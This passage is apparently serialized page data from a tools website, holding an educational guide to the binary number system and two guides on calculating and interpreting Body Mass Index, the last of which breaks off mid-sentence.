(Base-2)",[211,14490,14491,14502,14513,14524],{},[199,14492,14493,14496,14499],{},[216,14494,14495],{},"Digits",[216,14497,14498],{},"0, 1, 2, ..., 9",[216,14500,14501],{},"0, 1",[199,14503,14504,14507,14510],{},[216,14505,14506],{},"Place values",[216,14508,14509],{},"10⁰, 10¹, 10², …",[216,14511,14512],{},"2⁰, 2¹, 2², …",[199,14514,14515,14518,14521],{},[216,14516,14517],{},"Example number",[216,14519,14520],{},"42",[216,14522,14523],{},"101010",[199,14525,14526,14529,14532],{},[216,14527,14528],{},"Largest 3-digit",[216,14530,14531],{},"999",[216,14533,14534],{},"111 (= 7)",[16,14536,14537],{},"Decimal feels natural because humans have ten fingers. Binary feels natural to hardware because digital circuits have two voltage states. Every other number system — octal, hexadecimal — is just a more compact way for humans to read binary.",[11,14539,14541],{"id":14540},"how-to-convert-decimal-to-binary","How to Convert Decimal to Binary",[16,14543,14544],{},"The standard method: divide by 2, record the remainder, and read remainders bottom-up.",[33,14546,14548],{"id":14547},"example-convert-156-to-binary","Example: Convert 156 to Binary",[135,14550,14553],{"className":14551,"code":14552,"language":140},[138],"156 ÷ 2 = 78  remainder 0\n 78 ÷ 2 = 39  remainder 0\n 39 ÷ 2 = 19  remainder 1\n 19 ÷ 2 = 9   remainder 1\n  9 ÷ 2 = 4   remainder 1\n  4 ÷ 2 = 2   remainder 0\n  2 ÷ 2 = 1   remainder 0\n  1 ÷ 2 = 0   remainder 1\n\nRead bottom-up: 10011100\n",[143,14554,14552],{"__ignoreMap":141},[16,14556,14557,14558,14561],{},"Verify: ",[143,14559,14560],{},"128 + 16 + 8 + 4 = 156"," ✓",[33,14563,14565],{"id":14564},"shortcut-power-of-2-subtraction","Shortcut: Power-of-2 Subtraction",[16,14567,14568],{},"Find the largest power of 2 that fits, subtract, and repeat:",[135,14570,14573],{"className":14571,"code":14572,"language":140},[138],"156 - 128 = 28  → bit 7 = 1\n 28 -  16 = 12  → bit 4 = 1\n 12 -   8 = 4   → bit 3 = 1\n  4 -   4 = 0   → bit 2 = 1\nAll other bits = 0\n\nResult: 10011100 (same as above)\n",[143,14574,14572],{"__ignoreMap":141},[11,14576,14578],{"id":14577},"how-to-convert-binary-to-decimal","How to Convert Binary to Decimal",[16,14580,14581],{},"Multiply each bit by its place value and sum:",[135,14583,14586],{"className":14584,"code":14585,"language":140},[138],"Binary: 1 0 0 1 1 1 0 0\nPlace:  7 6 5 4 3 2 1 0\n\n1×128 + 0×64 + 0×32 + 1×16 + 1×8 + 1×4 + 0×2 + 0×1\n= 128 + 16 + 8 + 4\n= 156\n",[143,14587,14585],{"__ignoreMap":141},[11,14589,14591],{"id":14590},"binary-in-computer-science","Binary in Computer Science",[33,14593,14595],{"id":14594},"memory-addressing","Memory Addressing",[16,14597,14598],{},"Memory is addressed in bytes (8 bits). A 32-bit processor can address 2³² = 4,294,967,296 bytes (4 GB). A 64-bit processor can address 2⁶⁴ bytes — far more than any current system needs.",[33,14600,14602],{"id":14601},"ip-addresses","IP Addresses",[16,14604,14605],{},"IPv4 addresses are 32-bit binary numbers, written as four decimal octets for readability:",[135,14607,14610],{"className":14608,"code":14609,"language":140},[138],"Binary:  11000000 10101000 00000001 00000001\nDecimal: 192.168.1.1\n",[143,14611,14609],{"__ignoreMap":141},[16,14613,14614,14615,14618,14619,14622],{},"Each octet ranges from ",[143,14616,14617],{},"00000000"," (0) to ",[143,14620,14621],{},"11111111"," (255). That's why no IPv4 octet exceeds 255.",[16,14624,14625],{},"Subnet masks are pure binary logic — an AND operation between the IP address and the mask yields the network address:",[135,14627,14630],{"className":14628,"code":14629,"language":140},[138],"IP:    11000000.10101000.00000001.00000001  (192.168.1.1)\nMask:  11111111.11111111.11111111.00000000  (255.255.255.0)\nAND:   11000000.10101000.00000001.00000000  (192.168.1.0)\n",[143,14631,14629],{"__ignoreMap":141},[33,14633,14635],{"id":14634},"color-values","Color Values",[16,14637,14638,14639,1877,14642,14645],{},"RGB colors use three bytes — one for red, one for green, one for blue. Pure red is ",[143,14640,14641],{},"11111111 00000000 00000000",[143,14643,14644],{},"#FF0000"," in hex. Each channel's 8 bits give 256 intensity levels (0–255), yielding 16,777,216 possible colors.",[33,14647,14649],{"id":14648},"file-permissions-unix","File Permissions (Unix)",[16,14651,14652],{},"File permissions use 3 bits per role (read, write, execute):",[135,14654,14657],{"className":14655,"code":14656,"language":140},[138],"rwx r-x r-- = 111 101 100 = 7 5 4\n",[143,14658,14656],{"__ignoreMap":141},[16,14660,14661,14662,14665],{},"That's where ",[143,14663,14664],{},"chmod 754"," comes from — each octal digit represents 3 binary permission bits.",[11,14667,14669],{"id":14668},"binary-representation-in-code","Binary Representation in Code",[33,14671,9860],{"id":1609},[135,14673,14675],{"className":1607,"code":14674,"language":1609,"meta":141,"style":141},"\u002F\u002F Binary literal (ES6+)\nconst mask = 0b11110000;  \u002F\u002F 240\n\n\u002F\u002F Convert to binary string\n(42).toString(2);  \u002F\u002F \"101010\"\n\n\u002F\u002F Parse binary string\nparseInt('101010', 2);  \u002F\u002F 42\n",[143,14676,14677,14682,14699,14703,14708,14728,14732,14737],{"__ignoreMap":141},[1560,14678,14679],{"class":1562,"line":1563},[1560,14680,14681],{"class":1649},"\u002F\u002F Binary literal (ES6+)\n",[1560,14683,14684,14686,14689,14691,14694,14696],{"class":1562,"line":337},[1560,14685,8180],{"class":1669},[1560,14687,14688],{"class":1576}," mask",[1560,14690,8186],{"class":1669},[1560,14692,14693],{"class":1576}," 0b11110000",[1560,14695,3409],{"class":1570},[1560,14697,14698],{"class":1649},"\u002F\u002F 240\n",[1560,14700,14701],{"class":1562,"line":343},[1560,14702,1702],{"emptyLinePlaceholder":363},[1560,14704,14705],{"class":1562,"line":365},[1560,14706,14707],{"class":1649},"\u002F\u002F Convert to binary string\n",[1560,14709,14710,14712,14714,14716,14718,14720,14722,14725],{"class":1562,"line":889},[1560,14711,1688],{"class":1570},[1560,14713,14520],{"class":1576},[1560,14715,9368],{"class":1570},[1560,14717,10052],{"class":1566},[1560,14719,1688],{"class":1570},[1560,14721,10099],{"class":1576},[1560,14723,14724],{"class":1570},");  ",[1560,14726,14727],{"class":1649},"\u002F\u002F \"101010\"\n",[1560,14729,14730],{"class":1562,"line":1710},[1560,14731,1702],{"emptyLinePlaceholder":363},[1560,14733,14734],{"class":1562,"line":1717},[1560,14735,14736],{"class":1649},"\u002F\u002F Parse binary string\n",[1560,14738,14739,14741,14743,14746,14748,14750,14752],{"class":1562,"line":1747},[1560,14740,10118],{"class":1566},[1560,14742,1688],{"class":1570},[1560,14744,14745],{"class":5634},"'101010'",[1560,14747,1459],{"class":1570},[1560,14749,10099],{"class":1576},[1560,14751,14724],{"class":1570},[1560,14753,14754],{"class":1649},"\u002F\u002F 42\n",[33,14756,9840],{"id":8261},[135,14758,14760],{"className":8259,"code":14759,"language":8261,"meta":141,"style":141},"# Binary literal\nmask = 0b11110000  # 240\n\n# Convert to binary string\nbin(42)  # '0b101010'\n\n# Parse binary string\nint('101010', 2)  # 42\n",[143,14761,14762,14767,14772,14776,14781,14786,14790,14795],{"__ignoreMap":141},[1560,14763,14764],{"class":1562,"line":1563},[1560,14765,14766],{},"# Binary literal\n",[1560,14768,14769],{"class":1562,"line":337},[1560,14770,14771],{},"mask = 0b11110000  # 240\n",[1560,14773,14774],{"class":1562,"line":343},[1560,14775,1702],{"emptyLinePlaceholder":363},[1560,14777,14778],{"class":1562,"line":365},[1560,14779,14780],{},"# Convert to binary string\n",[1560,14782,14783],{"class":1562,"line":889},[1560,14784,14785],{},"bin(42)  # '0b101010'\n",[1560,14787,14788],{"class":1562,"line":1710},[1560,14789,1702],{"emptyLinePlaceholder":363},[1560,14791,14792],{"class":1562,"line":1717},[1560,14793,14794],{},"# Parse binary string\n",[1560,14796,14797],{"class":1562,"line":1747},[1560,14798,14799],{},"int('101010', 2)  # 42\n",[11,14801,14803],{"id":14802},"common-binary-patterns","Common Binary Patterns",[193,14805,14806,14817],{},[196,14807,14808],{},[199,14809,14810,14813,14815],{},[202,14811,14812],{},"Binary Pattern",[202,14814,5271],{},[202,14816,4228],{},[211,14818,14819,14828,14837,14847,14858,14869,14880],{},[199,14820,14821,14823,14825],{},[216,14822,14617],{},[216,14824,5285],{},[216,14826,14827],{},"Minimum byte value",[199,14829,14830,14832,14834],{},[216,14831,14621],{},[216,14833,5400],{},[216,14835,14836],{},"Maximum byte value",[199,14838,14839,14842,14844],{},[216,14840,14841],{},"10000000",[216,14843,5324],{},[216,14845,14846],{},"MSB set (sign bit in signed ints)",[199,14848,14849,14852,14855],{},[216,14850,14851],{},"00001111",[216,14853,14854],{},"15",[216,14856,14857],{},"Low nibble mask",[199,14859,14860,14863,14866],{},[216,14861,14862],{},"11110000",[216,14864,14865],{},"240",[216,14867,14868],{},"High nibble mask",[199,14870,14871,14874,14877],{},[216,14872,14873],{},"01010101",[216,14875,14876],{},"85",[216,14878,14879],{},"Alternating bits",[199,14881,14882,14885,14888],{},[216,14883,14884],{},"10101010",[216,14886,14887],{},"170",[216,14889,14879],{},[11,14891,14893],{"id":14892},"signed-numbers-twos-complement","Signed Numbers: Two's Complement",[16,14895,14896],{},"Computers represent negative integers using two's complement. To negate a number: flip all bits, then add 1.",[135,14898,14901],{"className":14899,"code":14900,"language":140},[138],"+5 = 00000101\nFlip: 11111010\nAdd 1: 11111011 = -5\n",[143,14902,14900],{"__ignoreMap":141},[16,14904,14905],{},"Two's complement makes subtraction identical to addition — the CPU doesn't need separate subtract circuitry. The leftmost bit (MSB) acts as the sign bit: 0 for positive, 1 for negative.",[16,14907,14908],{},"In an 8-bit signed integer:",[41,14910,14911,14914,14919],{},[44,14912,14913],{},"Range: -128 to +127",[44,14915,14916,14918],{},[143,14917,14841],{}," = -128 (the most negative value)",[44,14920,14921,14924],{},[143,14922,14923],{},"01111111"," = +127 (the most positive value)",[11,14926,1355],{"id":1354},[41,14928,14929,14932,14935,14938,14941],{},[44,14930,14931],{},"Binary is base-2: only digits 0 and 1, with place values as powers of 2",[44,14933,14934],{},"Convert decimal to binary by dividing by 2 and collecting remainders",[44,14936,14937],{},"IP addresses, RGB colors, and file permissions all rely on binary representations",[44,14939,14940],{},"Two's complement elegantly handles signed integers without special subtraction logic",[44,14942,14943],{},"Hexadecimal is simply a compact way to write binary — each hex digit maps to exactly 4 bits",[11,14945,286],{"id":285},[16,14947,14948,14949,14951,14952,468],{},"Practice binary, octal, decimal, and hex conversions with our free ",[98,14950,10569],{"href":10568},". Encode text to binary with the ",[98,14953,14957],{"href":14954,"rel":14955},"https:\u002F\u002Ftoolboxes.site\u002Ftools\u002Ftext-binary",[14956],"nofollow","Text to Binary converter",[11,14959,321],{"id":320},[41,14961,14962,14968,14974,14979],{},[44,14963,14964],{},[98,14965,14967],{"href":14966},"\u002Fguides\u002Ftext-binary-conversion-guide","Text to Binary Guide - How Text Encoding to Binary Works",[44,14969,14970],{},[98,14971,14973],{"href":14972},"\u002Fguides\u002Fdata-encoding-tools","Data Encoding Tools - Essential Online Encoders",[44,14975,14976],{},[98,14977,14978],{"href":10547},"Number Systems Explained: Binary, Octal, Decimal, and Hexadecimal",[44,14980,14981],{},[98,14982,14983],{"href":10553},"Hexadecimal Guide: Why Developers Use Base-16 Every Day",[2043,14985,14986],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":14988},[14989,14990,14991,14995,14996,15002,15006,15007,15008,15009,15010],{"id":14449,"depth":337,"text":14450},{"id":14469,"depth":337,"text":14470},{"id":14540,"depth":337,"text":14541,"children":14992},[14993,14994],{"id":14547,"depth":343,"text":14548},{"id":14564,"depth":343,"text":14565},{"id":14577,"depth":337,"text":14578},{"id":14590,"depth":337,"text":14591,"children":14997},[14998,14999,15000,15001],{"id":14594,"depth":343,"text":14595},{"id":14601,"depth":343,"text":14602},{"id":14634,"depth":343,"text":14635},{"id":14648,"depth":343,"text":14649},{"id":14668,"depth":337,"text":14669,"children":15003},[15004,15005],{"id":1609,"depth":343,"text":9860},{"id":8261,"depth":343,"text":9840},{"id":14802,"depth":337,"text":14803},{"id":14892,"depth":337,"text":14893},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Complete guide to the binary number system. Learn how binary digits work and why computers use base-2.",{"immutable":363},{"title":14444,"description":15011},"guides\u002Fbinary-number-system","c4sv13Gf1C40MJluh2ffmSUFJC76E8xhHQUKxL5bYGs",{"id":15017,"title":15018,"body":15019,"date":2070,"description":15335,"extension":361,"meta":15336,"navigation":363,"path":15337,"readingTime":365,"seo":15338,"stem":15339,"__hash__":15340},"guides\u002Fguides\u002Fbmi-calculator-guide.md","BMI Calculator Guide",{"type":8,"value":15020,"toc":15313},[15021,15024,15027,15036,15040,15043,15046,15052,15055,15061,15066,15072,15079,15082,15086,15090,15111,15115,15135,15142,15146,15149,15208,15212,15215,15219,15222,15226,15229,15233,15236,15240,15243,15248,15254,15257,15259,15262,15270,15272,15276,15279,15283,15290,15294,15297,15299],[11,15022,15018],{"id":15023},"bmi-calculator-guide",[16,15025,15026],{},"BMI (Body Mass Index) is a quick screening metric that estimates whether your weight is appropriate for your height. Healthcare professionals use it as a first-pass indicator — not a diagnosis — to flag potential weight-related health risks.",[16,15028,15029,15030,15035],{},"Our ",[98,15031,15034],{"href":15032,"rel":15033},"https:\u002F\u002Ftoolboxes.site\u002Ftools\u002Fbmi-calculator",[14956],"BMI Calculator"," does the math instantly in both metric and imperial units. No manual formulas, no rounding errors.",[11,15037,15039],{"id":15038},"what-is-bmi","What is BMI?",[16,15041,15042],{},"BMI is a ratio of weight to height squared. It tells you how much you weigh relative to your height, but it does not directly measure body fat.",[16,15044,15045],{},"The metric formula:",[135,15047,15050],{"className":15048,"code":15049,"language":140},[138],"BMI = weight (kg) ÷ height (m)²\n",[143,15051,15049],{"__ignoreMap":141},[16,15053,15054],{},"The imperial formula:",[135,15056,15059],{"className":15057,"code":15058,"language":140},[138],"BMI = (weight (lbs) ÷ height (inches)²) × 703\n",[143,15060,15058],{"__ignoreMap":141},[16,15062,15063,15065],{},[47,15064,133],{},": A person who weighs 75 kg and is 1.78 m tall:",[135,15067,15070],{"className":15068,"code":15069,"language":140},[138],"BMI = 75 ÷ (1.78)² = 75 ÷ 3.1684 = 23.7\n",[143,15071,15069],{"__ignoreMap":141},[16,15073,15074,15075,15078],{},"A BMI of 23.7 sits squarely in the ",[47,15076,15077],{},"Normal weight"," category.",[16,15080,15081],{},"BMI was developed in the 1830s by Adolphe Quetelet as a population-level statistic. It works best for tracking trends across large groups, not for making individual health judgments.",[11,15083,15085],{"id":15084},"how-to-use-the-bmi-calculator","How to Use the BMI Calculator",[33,15087,15089],{"id":15088},"metric-mode","Metric Mode",[77,15091,15092,15099,15104],{},[44,15093,15094,15095,15098],{},"Enter your ",[47,15096,15097],{},"weight"," in kilograms (e.g., 75)",[44,15100,15094,15101,15103],{},[47,15102,1873],{}," in centimeters (e.g., 178)",[44,15105,15106,15107,15110],{},"Click ",[47,15108,15109],{},"Calculate"," — your BMI and category appear instantly",[33,15112,15114],{"id":15113},"imperial-mode","Imperial Mode",[77,15116,15117,15120,15125,15130],{},[44,15118,15119],{},"Switch to imperial units using the toggle",[44,15121,15094,15122,15124],{},[47,15123,15097],{}," in pounds (e.g., 165)",[44,15126,15094,15127,15129],{},[47,15128,1873],{}," in feet and inches (e.g., 5'10\")",[44,15131,15106,15132,15134],{},[47,15133,15109],{}," — results display immediately",[16,15136,15137,15138,15141],{},"The calculator also shows your ",[47,15139,15140],{},"healthy weight range"," for your height, giving you a practical target zone rather than a single number.",[11,15143,15145],{"id":15144},"understanding-your-results","Understanding Your Results",[16,15147,15148],{},"The World Health Organization (WHO) defines four main BMI categories for adults:",[193,15150,15151,15163],{},[196,15152,15153],{},[199,15154,15155,15157,15160],{},[202,15156,919],{},[202,15158,15159],{},"BMI Range",[202,15161,15162],{},"What It Means",[211,15164,15165,15176,15186,15197],{},[199,15166,15167,15170,15173],{},[216,15168,15169],{},"Underweight",[216,15171,15172],{},"Below 18.5",[216,15174,15175],{},"Possible nutritional deficiency or underlying condition",[199,15177,15178,15180,15183],{},[216,15179,15077],{},[216,15181,15182],{},"18.5 – 24.9",[216,15184,15185],{},"Lowest risk of weight-related health issues",[199,15187,15188,15191,15194],{},[216,15189,15190],{},"Overweight",[216,15192,15193],{},"25.0 – 29.9",[216,15195,15196],{},"Increased risk of diabetes, hypertension, heart disease",[199,15198,15199,15202,15205],{},[216,15200,15201],{},"Obese",[216,15203,15204],{},"30.0 and above",[216,15206,15207],{},"Significantly elevated risk of serious health problems",[33,15209,15211],{"id":15210},"underweight-bmi-185","Underweight (BMI \u003C 18.5)",[16,15213,15214],{},"Being underweight may indicate nutritional deficiency, weakened immunity, or an underlying medical condition. Consult a healthcare provider if your BMI falls below 18.5.",[33,15216,15218],{"id":15217},"normal-weight-bmi-185249","Normal Weight (BMI 18.5–24.9)",[16,15220,15221],{},"This range is associated with the lowest risk of weight-related health problems. Keep in mind that BMI alone does not guarantee good health — diet, physical activity, and body composition all matter.",[33,15223,15225],{"id":15224},"overweight-bmi-25299","Overweight (BMI 25–29.9)",[16,15227,15228],{},"A BMI in this range signals increased risk for type 2 diabetes, high blood pressure, and heart disease. Losing just 5–10% of body weight can significantly reduce these risks.",[33,15230,15232],{"id":15231},"obese-bmi-30","Obese (BMI ≥ 30)",[16,15234,15235],{},"Obesity raises the risk of cardiovascular disease, stroke, certain cancers, and joint problems. Medical guidance is strongly recommended for anyone in this category.",[33,15237,15239],{"id":15238},"healthy-weight-range","Healthy Weight Range",[16,15241,15242],{},"Your healthy weight range is the band of weights that produce a BMI between 18.5 and 24.9 for your specific height.",[16,15244,15245,15247],{},[47,15246,133],{}," — someone who is 170 cm (5'7\") tall:",[135,15249,15252],{"className":15250,"code":15251,"language":140},[138],"Lower bound: 18.5 × (1.70)² = 53.5 kg (118 lbs)\nUpper bound: 24.9 × (1.70)² = 72.0 kg (159 lbs)\nHealthy range: 53.5 – 72.0 kg\n",[143,15253,15251],{"__ignoreMap":141},[16,15255,15256],{},"This gives you a practical interval — not a single target.",[11,15258,286],{"id":285},[16,15260,15261],{},"Calculate your BMI in seconds. Enter your height and weight, choose metric or imperial, and get your BMI, category, and healthy weight range instantly.",[16,15263,4531,15264],{},[98,15265,15267],{"href":15032,"rel":15266},[14956],[47,15268,15269],{},"Free BMI Calculator",[11,15271,296],{"id":295},[33,15273,15275],{"id":15274},"is-bmi-accurate-for-athletes","Is BMI accurate for athletes?",[16,15277,15278],{},"No. Athletes often have higher BMI values despite low body fat because muscle is denser than fat. A bodybuilder at 10% body fat might register as \"overweight\" by BMI. For active individuals, body fat percentage is a more reliable metric.",[33,15280,15282],{"id":15281},"does-bmi-work-the-same-for-children","Does BMI work the same for children?",[16,15284,15285,15286,15289],{},"Children and teens use ",[47,15287,15288],{},"BMI-for-age percentiles"," rather than fixed ranges. Pediatricians plot BMI on growth charts specific to age and sex, because body composition changes significantly during development.",[33,15291,15293],{"id":15292},"how-often-should-i-check-my-bmi","How often should I check my BMI?",[16,15295,15296],{},"Once per month is sufficient for most adults. Daily weight fluctuations do not reflect meaningful changes in body composition. Consistent monthly tracking gives you a clearer picture of real trends.",[11,15298,321],{"id":320},[41,15300,15301,15307],{},[44,15302,15303],{},[98,15304,15306],{"href":15305},"\u002Fguides\u002Fbmi-explained","BMI Explained — What Your BMI Number Really Means",[44,15308,15309],{},[98,15310,15312],{"href":15311},"\u002Fguides\u002Fhealth-calculators-online","Health Calculators Online — Essential Tools for Fitness",{"title":141,"searchDepth":337,"depth":337,"links":15314},[15315,15316,15317,15321,15328,15329,15334],{"id":15023,"depth":337,"text":15018},{"id":15038,"depth":337,"text":15039},{"id":15084,"depth":337,"text":15085,"children":15318},[15319,15320],{"id":15088,"depth":343,"text":15089},{"id":15113,"depth":343,"text":15114},{"id":15144,"depth":337,"text":15145,"children":15322},[15323,15324,15325,15326,15327],{"id":15210,"depth":343,"text":15211},{"id":15217,"depth":343,"text":15218},{"id":15224,"depth":343,"text":15225},{"id":15231,"depth":343,"text":15232},{"id":15238,"depth":343,"text":15239},{"id":285,"depth":337,"text":286},{"id":295,"depth":337,"text":296,"children":15330},[15331,15332,15333],{"id":15274,"depth":343,"text":15275},{"id":15281,"depth":343,"text":15282},{"id":15292,"depth":343,"text":15293},{"id":320,"depth":337,"text":321},"Learn how to use our BMI Calculator tool. Calculate Body Mass Index in metric or imperial units and understand your results.",{"immutable":363},"\u002Fguides\u002Fbmi-calculator-guide",{"title":15018,"description":15335},"guides\u002Fbmi-calculator-guide","0avSSgyNUetFk8pUcvCMMmhYIqJ7h2qPP_tDlc-tcN4",{"id":15342,"title":15343,"body":15344,"date":2070,"description":15779,"extension":361,"meta":15780,"navigation":363,"path":15305,"readingTime":889,"seo":15781,"stem":15782,"__hash__":15783},"guides\u002Fguides\u002Fbmi-explained.md","BMI Explained",{"type":8,"value":15345,"toc":15761},[15346,15350,15353,15356,15360,15363,15368,15373,15378,15383,15389,15395,15400,15403,15407,15410,15507,15511,15514,15528,15532,15535,15539,15542,15548,15551,15555,15558,15562,15565,15579,15583,15594,15597,15601,15669,15675,15681,15685,15688,15714,15716,15736,15738,15741,15748,15750],[11,15347,15349],{"id":15348},"body-mass-index-explained","Body Mass Index Explained",[16,15351,15352],{},"BMI (Body Mass Index) is the most widely used weight-screening metric in the world. Doctors, insurers, and public health agencies rely on it — yet it was never designed to measure individual health.",[16,15354,15355],{},"Belgian mathematician Adolphe Quetelet created the formula in the 1830s to describe the \"average man\" across populations. It became a medical standard in the 1970s and was officially adopted by the WHO in the 1990s. Understanding this origin is key: BMI is a statistical tool, not a diagnostic instrument.",[11,15357,15359],{"id":15358},"how-bmi-is-calculated","How BMI Is Calculated",[16,15361,15362],{},"The formula is straightforward:",[16,15364,15365],{},[47,15366,15367],{},"Metric units:",[135,15369,15371],{"className":15370,"code":15049,"language":140},[138],[143,15372,15049],{"__ignoreMap":141},[16,15374,15375],{},[47,15376,15377],{},"Imperial units:",[135,15379,15381],{"className":15380,"code":15058,"language":140},[138],[143,15382,15058],{"__ignoreMap":141},[16,15384,15385,15388],{},[47,15386,15387],{},"Worked example"," — 80 kg, 1.75 m:",[135,15390,15393],{"className":15391,"code":15392,"language":140},[138],"BMI = 80 ÷ (1.75)² = 80 ÷ 3.0625 = 26.1\n",[143,15394,15392],{"__ignoreMap":141},[16,15396,15397,15398,15078],{},"A BMI of 26.1 falls in the ",[47,15399,15190],{},[16,15401,15402],{},"The multiplication by 703 in the imperial formula simply converts pounds-per-square-inch into the same scale as kilograms-per-square-meter.",[11,15404,15406],{"id":15405},"who-bmi-classification-table","WHO BMI Classification Table",[16,15408,15409],{},"The World Health Organization classifies adult BMI into these categories:",[193,15411,15412,15423],{},[196,15413,15414],{},[199,15415,15416,15418,15420],{},[202,15417,919],{},[202,15419,15159],{},[202,15421,15422],{},"Risk Level",[211,15424,15425,15436,15447,15458,15467,15476,15486,15496],{},[199,15426,15427,15430,15433],{},[216,15428,15429],{},"Severe underweight",[216,15431,15432],{},"Below 16.0",[216,15434,15435],{},"Very high",[199,15437,15438,15441,15444],{},[216,15439,15440],{},"Moderate underweight",[216,15442,15443],{},"16.0 – 16.9",[216,15445,15446],{},"High",[199,15448,15449,15452,15455],{},[216,15450,15451],{},"Mild underweight",[216,15453,15454],{},"17.0 – 18.4",[216,15456,15457],{},"Moderate",[199,15459,15460,15462,15464],{},[216,15461,15077],{},[216,15463,15182],{},[216,15465,15466],{},"Low",[199,15468,15469,15472,15474],{},[216,15470,15471],{},"Overweight (pre-obese)",[216,15473,15193],{},[216,15475,15457],{},[199,15477,15478,15481,15484],{},[216,15479,15480],{},"Obese Class I",[216,15482,15483],{},"30.0 – 34.9",[216,15485,15446],{},[199,15487,15488,15491,15494],{},[216,15489,15490],{},"Obese Class II",[216,15492,15493],{},"35.0 – 39.9",[216,15495,15435],{},[199,15497,15498,15501,15504],{},[216,15499,15500],{},"Obese Class III",[216,15502,15503],{},"40.0 and above",[216,15505,15506],{},"Extremely high",[33,15508,15510],{"id":15509},"why-subcategories-matter","Why Subcategories Matter",[16,15512,15513],{},"The broad labels (Underweight, Normal, Overweight, Obese) are useful for quick reference, but the subcategories reveal important risk differences:",[41,15515,15516,15522],{},[44,15517,15518,15521],{},[47,15519,15520],{},"Mild vs. severe underweight",": A BMI of 17 carries moderate risk; a BMI of 15 signals danger of infection, bone loss, and organ damage.",[44,15523,15524,15527],{},[47,15525,15526],{},"Obese Class I vs. Class III",": A BMI of 31 is not equivalent to a BMI of 42. Class III obesity is associated with significantly higher mortality and surgical complications.",[11,15529,15531],{"id":15530},"major-limitations-of-bmi","Major Limitations of BMI",[16,15533,15534],{},"BMI remains popular because it is cheap, fast, and easy to calculate. But it has well-documented blind spots.",[33,15536,15538],{"id":15537},"no-distinction-between-muscle-and-fat","No Distinction Between Muscle and Fat",[16,15540,15541],{},"Muscle weighs roughly 18% more than fat by volume. Two people can share the same BMI while having dramatically different health profiles:",[135,15543,15546],{"className":15544,"code":15545,"language":140},[138],"Person A: 90 kg, 1.80 m, BMI = 27.8 (Overweight)\n  → 12% body fat, competitive athlete\n\nPerson B: 90 kg, 1.80 m, BMI = 27.8 (Overweight)\n  → 30% body fat, sedentary lifestyle\n",[143,15547,15545],{"__ignoreMap":141},[16,15549,15550],{},"Same number. Opposite health realities.",[33,15552,15554],{"id":15553},"age-changes-the-picture","Age Changes the Picture",[16,15556,15557],{},"Adults lose 3–8% of muscle mass per decade after age 30. An older adult with a \"normal\" BMI may carry significantly more fat and less muscle than a younger adult at the same BMI. Research suggests a slightly higher BMI (23–28) may actually be protective for adults over 65.",[33,15559,15561],{"id":15560},"ethnicity-affects-risk-thresholds","Ethnicity Affects Risk Thresholds",[16,15563,15564],{},"Health risks at a given BMI differ across populations:",[41,15566,15567,15573],{},[44,15568,15569,15572],{},[47,15570,15571],{},"Asian adults"," face elevated diabetes and cardiovascular risk at lower BMI values. The WHO recommends BMI 23 as the overweight threshold for Asian populations — two points below the global standard.",[44,15574,15575,15578],{},[47,15576,15577],{},"Pacific Islander populations"," may show higher BMI at equivalent body fat percentages due to differences in bone density and lean mass.",[33,15580,15582],{"id":15581},"fat-distribution-is-ignored","Fat Distribution Is Ignored",[16,15584,15585,15586,15589,15590,15593],{},"Where your body stores fat matters as much as how much fat you carry. ",[47,15587,15588],{},"Visceral fat"," (around the abdomen) drives metabolic disease far more than ",[47,15591,15592],{},"subcutaneous fat"," (under the skin). A person with a \"normal\" BMI but high visceral fat may face greater risk than someone with a higher BMI who stores fat in the hips and thighs.",[16,15595,15596],{},"Waist circumference and waist-to-hip ratio capture what BMI misses.",[11,15598,15600],{"id":15599},"when-to-use-other-metrics-instead","When to Use Other Metrics Instead",[193,15602,15603,15615],{},[196,15604,15605],{},[199,15606,15607,15610,15612],{},[202,15608,15609],{},"Metric",[202,15611,489],{},[202,15613,15614],{},"How to Measure",[211,15616,15617,15630,15643,15656],{},[199,15618,15619,15624,15627],{},[216,15620,15621],{},[47,15622,15623],{},"Body fat percentage",[216,15625,15626],{},"Athletes, fitness tracking",[216,15628,15629],{},"Calipers, DEXA scan, bioimpedance scale",[199,15631,15632,15637,15640],{},[216,15633,15634],{},[47,15635,15636],{},"Waist circumference",[216,15638,15639],{},"Assessing abdominal fat risk",[216,15641,15642],{},"Tape measure at navel level",[199,15644,15645,15650,15653],{},[216,15646,15647],{},[47,15648,15649],{},"Waist-to-hip ratio",[216,15651,15652],{},"Identifying visceral fat risk",[216,15654,15655],{},"Divide waist by hip measurement",[199,15657,15658,15663,15666],{},[216,15659,15660],{},[47,15661,15662],{},"Waist-to-height ratio",[216,15664,15665],{},"Simple all-body risk indicator",[216,15667,15668],{},"Keep waist under half your height",[16,15670,15671,15674],{},[47,15672,15673],{},"Practical advice",": Use BMI as a starting point. If it falls outside the normal range, follow up with waist measurement or body fat percentage for a clearer picture.",[16,15676,15677,15680],{},[47,15678,15679],{},"Quick check",": Measure your waist. If it exceeds half your height in centimeters, you may carry excess visceral fat — regardless of what your BMI says.",[11,15682,15684],{"id":15683},"interpreting-your-bmi-correctly","Interpreting Your BMI Correctly",[16,15686,15687],{},"A single BMI number tells you little in isolation. To interpret it 